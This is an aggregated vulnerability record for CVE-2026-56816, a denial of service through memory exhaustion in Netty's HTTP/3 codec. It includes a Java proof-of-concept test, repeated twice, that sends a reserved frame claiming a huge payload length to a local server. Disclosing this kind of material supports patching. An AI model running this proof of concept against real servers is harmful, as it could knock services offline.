{"id":"CVE-2026-56816","aliases":["DEBIAN-CVE-2026-56816","EUVD-2026-47564","GHSA-4grm-h2qv-h6w6","GHSA-c2rx-5r8w-8xr2","GHSA-hpcc-26xq-25fv","RHLW-2026-ebef76b1d44dd738","UBUNTU-CVE-2026-56816"],"status":"published","title":"Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-12","score":0.00644,"percentile":0.51378,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-400"],"published":"2026-07-21T21:56:36Z","modified":"2026-11-06T19:30:02Z","fixes":[{"ecosystem":"Maven","package":"io.netty:netty-codec-http3","fixed_in":["4.2.16.Final"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Maven","package":"io.netty:netty-codec-http3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.16.Final"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16","1:4.1.48-7","1:4.1.48-7+deb12u1","1:4.1.48-7+deb12u2","1:4.1.48-8","1:4.1.48-9"]},{"source":"osv","ecosystem":"Debian:13","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-10+deb13u1","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16"]},{"source":"osv","ecosystem":"Debian:14","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-15","1:4.1.48-16"]},{"source":"osv","ecosystem":"Maven","package":"io.netty:netty-codec-http3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.16.Final"}]}],"versions":["4.2.10.Final","4.2.11.Final","4.2.12.Final","4.2.13.Final","4.2.14.Final","4.2.15.Final","4.2.2.Final","4.2.3.Final","4.2.4.Final","4.2.5.Final","4.2.6.Final","4.2.7.Final","4.2.8.Final","4.2.9.Final"]},{"source":"osv","ecosystem":"Red Hat Lightwell:Maven","package":"io.netty:netty-codec-http3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.2.13.Final-rhlw-00001"}]}],"versions":["4.2.10.Final","4.2.11.Final","4.2.12.Final","4.2.13.Final","4.2.2.Final","4.2.3.Final","4.2.4.Final","4.2.5.Final","4.2.6.Final","4.2.7.Final","4.2.8.Final","4.2.9.Final"],"bundled":3},{"source":"osv","ecosystem":"Ubuntu:Pro:14.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:3.2.6.Final-2","1:3.2.6.Final-2+deb8u2build0.14.04.1~esm1","1:3.2.6.Final-2+deb8u2ubuntu0.1~esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:16.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:3.2.6.Final-2","1:4.0.32-1","1:4.0.33-1","1:4.0.34-1","1:4.0.34-1ubuntu0.1~esm1","1:4.0.34-1ubuntu0.1~esm2","1:4.0.34-1ubuntu0.1~esm3","1:4.0.34-1ubuntu0.1~esm4","1:4.0.34-1ubuntu0.1~esm5"]},{"source":"osv","ecosystem":"Ubuntu:Pro:18.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.7-4","1:4.1.7-4ubuntu0.1~esm1","1:4.1.7-4ubuntu0.1","1:4.1.7-4ubuntu0.1+esm1","1:4.1.7-4ubuntu0.1+esm2","1:4.1.7-4ubuntu0.1+esm3","1:4.1.7-4ubuntu0.1+esm4","1:4.1.7-4ubuntu0.1+esm5","1:4.1.7-4ubuntu0.1+esm6","1:4.1.7-4ubuntu0.1+esm7"]},{"source":"osv","ecosystem":"Ubuntu:Pro:20.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.33-1","1:4.1.33-2","1:4.1.33-3","1:4.1.45-1","1:4.1.45-1ubuntu0.1~esm1","1:4.1.45-1ubuntu0.1~esm2","1:4.1.45-1ubuntu0.1~esm3","1:4.1.45-1ubuntu0.1~esm4","1:4.1.45-1ubuntu0.1~esm6","1:4.1.45-1ubuntu0.1~esm7"]},{"source":"osv","ecosystem":"Ubuntu:Pro:22.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-4","1:4.1.48-4+deb11u1build0.22.04.1","1:4.1.48-4+deb11u2build0.22.04.1","1:4.1.48-4+deb11u2ubuntu0.1~esm1","1:4.1.48-4+deb11u2ubuntu0.1~esm2","1:4.1.48-4+deb11u2ubuntu0.1","1:4.1.48-4+deb11u2ubuntu0.1+esm1","1:4.1.48-4+deb11u2ubuntu0.1+esm3","1:4.1.48-4+deb11u2ubuntu0.2","1:4.1.48-4+deb11u2ubuntu0.2+esm1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:24.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-7","1:4.1.48-8","1:4.1.48-9","1:4.1.48-9ubuntu0.1~esm1","1:4.1.48-9ubuntu0.1~esm2","1:4.1.48-9ubuntu0.1","1:4.1.48-9ubuntu0.1+esm1","1:4.1.48-9ubuntu0.1+esm3","1:4.1.48-9ubuntu0.2","1:4.1.48-9ubuntu0.2+esm1","1:4.1.48-9ubuntu0.2+esm2"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-16","1:4.1.48-16ubuntu1"]},{"source":"osv","ecosystem":"Ubuntu:Pro:26.04:LTS","package":"netty","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["1:4.1.48-10","1:4.1.48-11","1:4.1.48-12","1:4.1.48-13","1:4.1.48-14","1:4.1.48-16","1:4.1.48-16ubuntu0.1~esm2"]}],"products":[{"vendor":"netty","product":"netty"}],"references":[{"url":"https://github.com/netty/netty/security/advisories/GHSA-hpcc-26xq-25fv","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web","report"]},{"url":"https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.16.Final","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-56816","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-hpcc-26xq-25fv","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/56xxx/CVE-2026-56816.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-56816","tags":["advisory"]},{"url":"https://github.com/netty/netty","tags":["package"]},{"url":"https://github.com/netty/netty/releases/tag/netty-4.2.15.Final","tags":["web"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44892.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-c2rx-5r8w-8xr2","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44892","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-c2rx-5r8w-8xr2","tags":["advisory"]},{"url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48748.json","tags":["web"]},{"url":"https://access.redhat.com/security/cve/CVE-2026-48748","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/48xxx/CVE-2026-48748.json","tags":["advisory"]},{"url":"https://github.com/netty/netty/security/advisories/GHSA-4grm-h2qv-h6w6","tags":["advisory"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-48748","tags":["advisory"]},{"url":"https://github.com/netty/netty/commit/75127cab731ee35068d1f0667bffa188bc332f5d","tags":["fix"]},{"url":"https://github.com/advisories/GHSA-4grm-h2qv-h6w6","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-56816","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-56816","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-56816","title":"Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.","status":"published","published":"2026-07-21T21:56:36.194Z","modified":"2026-07-22T18:24:28.067Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T13:36:51.6229Z"}],"euvd":[{"id":"EUVD-2026-47564","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.","status":"published","published":"2026-07-21T21:56:36Z","modified":"2026-07-22T18:24:28Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T18:19:45.382067Z"}],"ghsa":[{"id":"GHSA-hpcc-26xq-25fv","title":"Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types","description":"### Summary\nNetty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.\n\n### Details\n`io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame` handles reserved frame types as follows:\n\n```java\n                // Handling reserved frame types\n                // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8\n                if (in.readableBytes() \u003c payLoadLength) {\n                    return 0;\n                }\n```\n\nThe `payLoadLength` is read directly from the wire and trusted implicitly. Since `payLoadLength` can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.\n\nThis allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.\n\n### PoC\n\n```java\n    @Test\n    public void test() throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n        try {\n            X509Bundle cert = new CertificateBuilder()\n                    .subject(\"cn=localhost\")\n                    .setIsCertificateAuthority(true)\n                    .buildSelfSigned();\n\n            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n                    .sslContext(serverContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10_000_000)\n                    .initialMaxStreamDataBidirectionalLocal(1_000_000)\n                    .initialMaxStreamDataBidirectionalRemote(1_000_000)\n                    .initialMaxStreamsBidirectional(100)\n                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n                    .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n                        @Override\n                        protected void initChannel(QuicChannel ch) {\n                            ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n                            ch.pipeline().addLast(new Http3ServerConnectionHandler(\n                                    new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            cause.printStackTrace();\n                                            ctx.close();\n                                        }\n                                    }));\n                        }\n                    })\n                    .build();\n\n            Channel server = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(serverCodec)\n                    .bind(\"127.0.0.1\", 0)\n                    .sync()\n                    .channel();\n\n            QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n                    .trustManager(InsecureTrustManagerFactory.INSTANCE)\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n                    .sslContext(clientContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10_000_000)\n                    .initialMaxStreamDataBidirectionalLocal(1_000_000)\n                    .build();\n\n            Channel client = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(clientCodec)\n                    .bind(0)\n                    .sync()\n                    .channel();\n\n            QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n                    .handler(new Http3ClientConnectionHandler())\n                    .remoteAddress(server.localAddress())\n                    .localAddress(client.localAddress())\n                    .connect()\n                    .get();\n\n            QuicStreamChannel rawStream =\n                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n            ByteBuf header = Unpooled.buffer();\n\n            // Write reserved frame type (64)\n            header.writeByte(0x40);\n            header.writeByte(0x40);\n\n            // Write payload length (Integer.MAX_VALUE)\n            header.writeByte(0xC0);\n            header.writeByte(0x00);\n            header.writeByte(0x00);\n            header.writeByte(0x00);\n            header.writeByte(0x7F);\n            header.writeByte(0xFF);\n            header.writeByte(0xFF);\n            header.writeByte(0xFF);\n\n            rawStream.write(header);\n\n            // Write the maximum allowed payload\n            int payloadSize = 1_000_000;\n            ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);\n            rawStream.writeAndFlush(payload).sync();\n\n            assertTrue(quicChannel.isActive());\n\n            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n            server.close().sync();\n            client.close().sync();\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nDenial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.","status":"published","published":"2026-07-22T21:42:42Z","modified":"2026-07-22T21:42:47Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:40:51.375752Z"}],"nvd":[{"id":"CVE-2026-56816","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.","status":"published","published":"2026-07-21T22:17:14.803Z","modified":"2026-08-07T20:47:16.297Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T14:12:31.394335Z"}],"osv":[{"id":"CVE-2026-56816","title":"Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.","status":"published","published":"2026-07-21T21:56:36.194Z","modified":"2026-10-28T11:17:55.153810117Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:45:12.016252Z"},{"id":"DEBIAN-CVE-2026-56816","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.","status":"published","published":"2026-07-21T22:17:14.803Z","modified":"2026-10-01T03:02:41.268964662Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:57.590991Z"},{"id":"GHSA-hpcc-26xq-25fv","title":"Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types","description":"### Summary\nNetty's Http3FrameCodec buffers incoming data for HTTP/3 reserved frame types up to the specified payload length without any limits. The payload length is read directly from the wire and trusted without validation. A bad actor can send a reserved frame with a payload length of up to Integer.MAX_VALUE, causing the server to buffer the data in memory. This leads to an OOM and a gradual Denial of Service due to memory exhaustion as multiple streams are opened.\n\n### Details\n`io.netty.handler.codec.http3.Http3FrameCodec#decodeFrame` handles reserved frame types as follows:\n\n```java\n                // Handling reserved frame types\n                // https://tools.ietf.org/html/draft-ietf-quic-http-32#section-7.2.8\n                if (in.readableBytes() \u003c payLoadLength) {\n                    return 0;\n                }\n```\n\nThe `payLoadLength` is read directly from the wire and trusted implicitly. Since `payLoadLength` can be up to Integer.MAX_VALUE and there is no maximum payload length enforcement for reserved frames, the decoder will accumulate bytes in memory until the wire-provided length is reached.\n\nThis allows a bad actor to exhaust server memory by opening multiple QUIC streams and sending reserved frames with large payload lengths, followed by a small amount of data (e.g., up to the defined limit) on each stream.\n\n### PoC\n\n```java\n    @Test\n    public void test() throws Exception {\n        EventLoopGroup group = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());\n        try {\n            X509Bundle cert = new CertificateBuilder()\n                    .subject(\"cn=localhost\")\n                    .setIsCertificateAuthority(true)\n                    .buildSelfSigned();\n\n            QuicSslContext serverContext = QuicSslContextBuilder.forServer(cert.toTempPrivateKeyPem(), null, cert.toTempCertChainPem())\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            CountDownLatch serverConnectionClosed = new CountDownLatch(1);\n\n            ChannelHandler serverCodec = Http3.newQuicServerCodecBuilder()\n                    .sslContext(serverContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10_000_000)\n                    .initialMaxStreamDataBidirectionalLocal(1_000_000)\n                    .initialMaxStreamDataBidirectionalRemote(1_000_000)\n                    .initialMaxStreamsBidirectional(100)\n                    .tokenHandler(InsecureQuicTokenHandler.INSTANCE)\n                    .handler(new ChannelInitializer\u003cQuicChannel\u003e() {\n                        @Override\n                        protected void initChannel(QuicChannel ch) {\n                            ch.closeFuture().addListener(f -\u003e serverConnectionClosed.countDown());\n                            ch.pipeline().addLast(new Http3ServerConnectionHandler(\n                                    new ChannelInboundHandlerAdapter() {\n                                        @Override\n                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {\n                                            cause.printStackTrace();\n                                            ctx.close();\n                                        }\n                                    }));\n                        }\n                    })\n                    .build();\n\n            Channel server = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(serverCodec)\n                    .bind(\"127.0.0.1\", 0)\n                    .sync()\n                    .channel();\n\n            QuicSslContext clientContext = QuicSslContextBuilder.forClient()\n                    .trustManager(InsecureTrustManagerFactory.INSTANCE)\n                    .applicationProtocols(Http3.supportedApplicationProtocols())\n                    .build();\n\n            ChannelHandler clientCodec = Http3.newQuicClientCodecBuilder()\n                    .sslContext(clientContext)\n                    .maxIdleTimeout(5000, TimeUnit.MILLISECONDS)\n                    .initialMaxData(10_000_000)\n                    .initialMaxStreamDataBidirectionalLocal(1_000_000)\n                    .build();\n\n            Channel client = new Bootstrap()\n                    .group(group)\n                    .channel(NioDatagramChannel.class)\n                    .handler(clientCodec)\n                    .bind(0)\n                    .sync()\n                    .channel();\n\n            QuicChannel quicChannel = QuicChannel.newBootstrap(client)\n                    .handler(new Http3ClientConnectionHandler())\n                    .remoteAddress(server.localAddress())\n                    .localAddress(client.localAddress())\n                    .connect()\n                    .get();\n\n            QuicStreamChannel rawStream =\n                    quicChannel.createStream(QuicStreamType.BIDIRECTIONAL, new ChannelInboundHandlerAdapter()).get();\n\n            ByteBuf header = Unpooled.buffer();\n\n            // Write reserved frame type (64)\n            header.writeByte(0x40);\n            header.writeByte(0x40);\n\n            // Write payload length (Integer.MAX_VALUE)\n            header.writeByte(0xC0);\n            header.writeByte(0x00);\n            header.writeByte(0x00);\n            header.writeByte(0x00);\n            header.writeByte(0x7F);\n            header.writeByte(0xFF);\n            header.writeByte(0xFF);\n            header.writeByte(0xFF);\n\n            rawStream.write(header);\n\n            // Write the maximum allowed payload\n            int payloadSize = 1_000_000;\n            ByteBuf payload = Unpooled.wrappedBuffer(new byte[payloadSize]);\n            rawStream.writeAndFlush(payload).sync();\n\n            assertTrue(quicChannel.isActive());\n\n            quicChannel.closeFuture().await(5, TimeUnit.SECONDS);\n            server.close().sync();\n            client.close().sync();\n        } finally {\n            group.shutdownGracefully();\n        }\n    }\n```\n\n### Impact\nDenial of Service due to gradual memory exhaustion. Any application using Netty's HTTP/3 codec is impacted.","status":"published","published":"2026-07-22T21:42:42Z","modified":"2026-09-10T03:51:11.620299875Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400"],"updated_at":"2026-11-02T15:46:49.28217Z"},{"id":"RHLW-2026-ebef76b1d44dd738","title":"Lightwell Security Advisory: netty-codec-http3 4.2.13.Final-rhlw-00001","description":"Red Hat Lightwell has released io.netty:netty-codec-http3 4.2.13.Final-rhlw-00001 with backported fixes for CVE-2026-44892, CVE-2026-48748, and CVE-2026-56816.\n\nCVE-2026-44892: Netty has a Vulnerable Default Configuration Which Leads to Denial of Service via Unbounded HTTP/3 Header Size\n\nCVE-2026-48748: Netty HTTP/3 QPACK Blocked Streams Memory Exhaustion\n\nCVE-2026-56816: Netty: Memory Exhaustion via HTTP/3 Reserved Frame Types\n\nThis patched artifact is a drop-in replacement for io.netty:netty-codec-http3 4.2.13.Final-rhlw-00001 from Maven Central.","status":"published","published":"2026-11-06T08:56:08Z","modified":"2026-11-06T19:43:10.519147666Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-06T20:08:20.701853Z"},{"id":"UBUNTU-CVE-2026-56816","description":"Netty is a network application framework for development of protocol servers and clients. Prior to 4.2.16.Final, Netty's `Http3FrameCodec` buffers incoming data for HTTP/3 reserved frame types up to the wire-specified payload length without limits; `decodeFrame` trusts `payLoadLength`, allowing an attacker to open multiple QUIC streams and send reserved frames with very large payload lengths to cause memory exhaustion and denial of service. This issue is fixed in version 4.2.16.Final.","status":"published","published":"2026-07-21T22:17:00Z","modified":"2026-10-17T12:59:11.196581339Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:56:41.382716Z"}]}}